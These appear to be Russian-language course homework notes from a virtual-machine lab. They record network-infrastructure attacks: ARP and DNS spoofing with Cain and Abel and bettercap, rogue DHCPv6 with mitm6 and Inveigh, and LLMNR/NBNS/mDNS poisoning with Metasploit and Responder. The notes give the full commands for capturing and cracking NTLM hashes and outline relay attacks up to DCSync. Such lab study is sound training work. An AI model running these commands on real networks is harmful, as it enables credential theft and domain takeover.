Try   HackMD

ДЗ Атаки на сети Урок 3 Network Infrastructure attack Домашнее задание

  1. Провести атаку ARP Spoofing с использованием ПО Cain and Abel, выполнить подмену сертификата (sslsplit) и перехватить учетные данные на сайте с HTTPS.
  2. Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) при помощи https://github.com/Kevin-Robertson/Inveigh.
  3. Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.

1 ATAKA - МОЯ Атака ARP spoof cain and abel
Пример: https://ivanitlearning.wordpress.com/2019/04/03/arp-poisoning-sniffing-cracking-with-cain-abel/

скачиваем на винду cain and abel
скачиваем winpcap

Запускаем cain and abel

В configure выберем адаптер, который будем слушать и атаковать

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Активируем сниффер
Scan MAC ADress

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

переходим во вкладку ARP
В левый столбик добавляем шлюз роутера
В правый столбик атакуемый ip

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Запускаем ARP

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Во вкладке password ловим креды пользователя на атакуемой машине

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Сain and Abel подменяет сертификат https

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Факультатив

Нам понядобятся виртуалки: кали, винда 10 и 7

ARP SPOOF

настройка сети ipv4 - advanced dns - Use the connec
поставить галочку

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

нажимаем на плюсик и снифаем хосты

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Переходим в ARP

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Нажимаем ARP - spoof
На второй виртуалке в браузере ввели креды
и перехватили

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

PS. HSRP Routers - в протоколе настраиваешь виртуальный роутер. Он будет сам перенаправлять. У него постоянный айпишник.

ATAKA 2 Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing)

При помощи mitm6 & responder

apt install python3-pip
pip3 install mitm6
Отправляет DNS & ARP запросы
Начинает с днс запроса и предлагает ipV6 адресс, а приоритет у ipv6 больше.
После принятия сервером
митм отправляет себя в качестве сервера,
и перехватывает запросы атакуемого

  • mitm6 -i eth0 отправляет на все ip (-d (domen konkrentiy) )

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ARP заспуфен

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ipconfig /all
DNS сервер стал айпиv6 - адресс кали
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Запускаем респондер
responder -I eth0 -Av (A -режим анализа, v - verbose)

пошел запрос

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

При введении кредов
мы перехватим хэш

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Активируем с помощью обращения к неизвестной шаре

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

получаем хэш smb

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

sqlitebrowser /usr/share/responder/Responder.db
Запускается окошко базы данных, все записывается здесь - все хэши перехваченные

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

inveigh attack dhcpv6 при помощи https://github.com/Kevin-Robertson/Inveigh

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

в пассивном режиме сканит сети и показывает

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

дхцп и днс спуфит

RA пакет - подсказывает что использовать dhcpv6

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

-local - отвечает на запросы локально

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • .\Inveigh.exe -dhcpv6 y -icmpv6 y -local y

ВВели несуществующую шару и перехватили данные

В этом логе записываются хэши

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

и айпишники с которого пришло

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ATAKA 3 Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.

Запускаем msfconsole
msfd init - запускаем базу данных
service postgresql start

msfconsole

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Запускаем 5 консолей:
3 коносле спуферов
2 консоли снифферов

При поиске чего-то мы ему отвечаем что находится

llmnr

  1. use auxiliary/spoof/llmnr/llmnr_response
    set spoofip __ ip атакующего
    run

nbns
2. use auxiliary/spoof/nbns_response
set spoofip __ ip атакующего
run

открываем несколько сайтов в браузерах

пробуем через браузер запрос на шару

Отправили поддельный запрос

ntlm
3. Сервер NTLM
msfconsole use auxiliary/server/capture/http_ntlm
options -
аутпут файлы хэша
set srvhost IP kali
set johnpwfile /tmp/http_ntlm.log
set srvport 80
set uripath "/"


smb
msfconsole
4. use auxiliary/server/capture/smb
ooptions:
set johnpwfile /tmp/smb.log
set srvhost ip_kali
run

открываем сайты, шары на сайтах
Получен smb хэш

Нам предпочтительнее получать по http, потому что smb подписывает и от этого сложнее relaited (timestamp - временная метка стоит и если она не совпадает, то не получится сбрутить)

Каждый раз новые хэши у smb.

MDNS multicast dns spoofing
msfconsole
use

options:
set spoofip4 ip kali
set spoofip6 __kali_ipv6

run
jobs

Мои решения

Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing)

Запускаем атаку mitm6


Она спуфит другие хосты и назначает DNS server - IPv6 kali

Запускаем респондер

На атакуемых машинах в проводнике перешли по адресу несуществующий шары, пример: \sffscscd\sdcsssc

Поймали креды авторизации hash NTLMv2


Перешли в БД логов респондера
и более читабельном виде увидели хэши


Далее можем сбрутить эти хэши следующими командами

узнаем номер hash

hashcat -h | grep -i ntlm

примеры можем смотреть тут: https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -a 0 -w 4 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Команда у john будет выглядеть примерно так:

john format=netntlmv2 hash.txt wordlist=/usr/share/wordlists/rockyou.txt
Защита от данной атаки

Attack inveigh

Установка
Устанавливаем Git
далее командой git clone git


узнаем путь

С помощью inveigh.exe от Исраэля и установки botnet (в данном случае Net 3.5) удалось запустить программу

Команда для сканирования сети локально и замены DNS сервера на наш ipv6

  • .\Inveigh.exe -dhcpv6 Y -icmpv6 Y -local Y

ipv6 win 10 атакующая машина

Подменен DNS server на вин7

  • ipconfig /all

Получен хэш пользователя Вин7 и записан в файл


PS. с kali не удалось перехватить данные и заспуфить днс

ATAKA 3 Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.

  1. ЗАПУСКАЕМ LLMNR спуфер

use auxiliary/spoof/llmnr/llmnr_response

set spoofip 10.0.2.15

  1. Запускаем NBNS спуфер
    use auxiliary/spoof/nbns/nbns_response

set spoofip 10.0.2.15

  1. Запускаем MDNS спуфер

use auxiliary/spoof/mdns/mdns_response

set spoofip4 10.0.2.15
set spoofip6 fe80::a00:27ff:fe4d:efb

Открыли в браузере неизвестную шару, Заспуфили запросы

  1. Поднимаем сервер NTLM

use auxiliary/server/capture/http_ntlm

set srvhost 10.0.2.15

set srvport 80

set uripath "/"

  1. Поднимаем сервер SMB

use auxiliary/server/capture/smb

set johnpwfile /tmp/smb.log

set srvhost 10.0.2.15

run

Получен hash http/ntlm

Прочтем в файлах
cat http_ntlm.log_netntlmv2
cat http_ntlm.log_netlmv2

По smb c windows 10 не прилетел хэш

NBT-NS/LLMNR poisosing

Записываем в файл hosts ip & name kali
Файл находится Directory: C:\Windows\system32\drivers\etc

  • notepad.exe .\hosts

Проверим в dnscache содержимое файла hosts

  • ipconfig /displaydns | findstr supertest
  • ipconfig /displaydns > C:\cache.txt
  • C:> notepad.exe .\cache.txt

ping supertest на вин10

Получаем такие запросы на кали в вайршарк

Отвечаем винде что мы теперь fileserver по протоколу nbns

ВВели на винде адрес несуществующей шары и перехватили респондером хэши

И так любой сервис, поддерживаемый responder
У всех запрашивает аутентификацию

Attack DNS-spoofing & Bettercap & Responder

Включаем беттеркап

  • sudo bettercap -iface eth0

Командой

  • net.probe on
    Получаем айпишники сети (делаем арп скнирование)

Стопарим

  • net.probe off

Смотрим таблицу хостов

  • net.show

Отправляем арп спуф на атакуемую машину, в котором указываем что шлюз - наш айпишник

  • set arp.spoof.targets 10.0.2.4
    После этого мы встаем между узлами и шлюзом

Все хосты нашей подсети будут спуфится. Каждому хосту нашей подсети будут отправляться сообщения, что все остальные хосты - это злоумышленники, тем самым мы встаем между всеми хостами

  • set arp.spoof.internal true

Включаем сниффер

  • set net.sniff.local true
    С подробным выводом
  • set net.sniff.verbose true

Подменяем айпи адресс, на которые резолвятся все имена (пишем свой айпи)

  • set dns.spoof.adress 10.0.2.15
    Спуфим все подряд ( можно указывать домены)
    Модифицируем ДНС запросы

Запустили сниффер

  • net.sniff on

Спуфим домены

  • set dns.spoof.domains *

Включаем спуффер DNS
dns.spoof on

arp.spoof on

Разрещолвился наш айпишник (кали)

Во всех ДНС запросах происходит подмена

Запускаем Вайршарк
Он на ходу подменяет айпишники



Переключился на другой комп. Старикан зависает при атаках.


Поднимаем сервер

python3 -m http.server 80

Вводим в поисковике ya.ru
и попадаем на страницу сервера

Любые имена резолвятся на компьютер атакующего
Любые запросы на любой сервис будут на комп атакующего

На каком то порту мы запускаем сервис, на который обратится пользователь и мы перехватим данные

Responder

Запускаем респондер в режиме аналайз

  • sudo responder -I eth0 -A

У респондера множество вариантов перехвата запросов по протоколу NTLM

переходим на ftp://myftpserver.com


перехватили данные

перешли на \mysmbshare.com\share


и получили хэш юзера

Далее идут релей атаки (мы перенаправляем аутентификацию на нужный нам сервер,например на домен контроллер и получаем доступ к ldap, а получив доступ к ldap от домен админа- мы можем сделать что угодно)
Если c http в ldap его зарелеили, мы создаем машинную учетную запись с правами домен админа и навешиваем учетной записи права DCsync - синхронизация базы ntds-dit

mitm6 Атака IPv6 DNS spoofing или подложный дхцп сервер

  • sudo pip3 install mitm6

поднимем mitm6

  • sudo mitm6 -i eth0

отвечает на дхцп запрос и выдает свой ip

мы предложили ай пи адресс кали



сначала имя будет резолвится через этот днс сервер, так как ipv6 является приоритетным

Все остальные имена резолвит записи типа ААА , пингуем кали


Поднимаем responder
У него есть файл конфигурации
Мы здесь можем включать разные сервера

  • sqlitebrowser Responder.db
    База данных респондера, все хэши сюда записываются

Смотрим папку Logs, можно распарсить и получить записанные хэши

  • sudo responder -I eth0 -A

Слушает разные порты

sudo ss -plant

пользователь перешол на шару и прилетел хэш

скопировали хэш и записали в файл

Пробуем подобрать пароль hachcat но можно джоном

  • john format=netntlmv2 hash.txt wordlist=/usr/share/wordlists/rockyou.txt

(винда без пароля)

показывает какой номер хэша

  • hashcat -h | grep -i ntlm

Примеры хэшей / типы хэша
https://hashcat.net/hashcat/

  • hashcat -a 0 -w 4 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Конкретный домен для спуфинга(резолва имен)
принцип белого списка

  • sudo mitm6 -i eth0 -d company.local
    не работают в таком случае только сервисы компании
    Мы кратковременно положим сеть

Респондер отправлет Router Advertisement флаги, сообщающие что нужно получить дхсп в6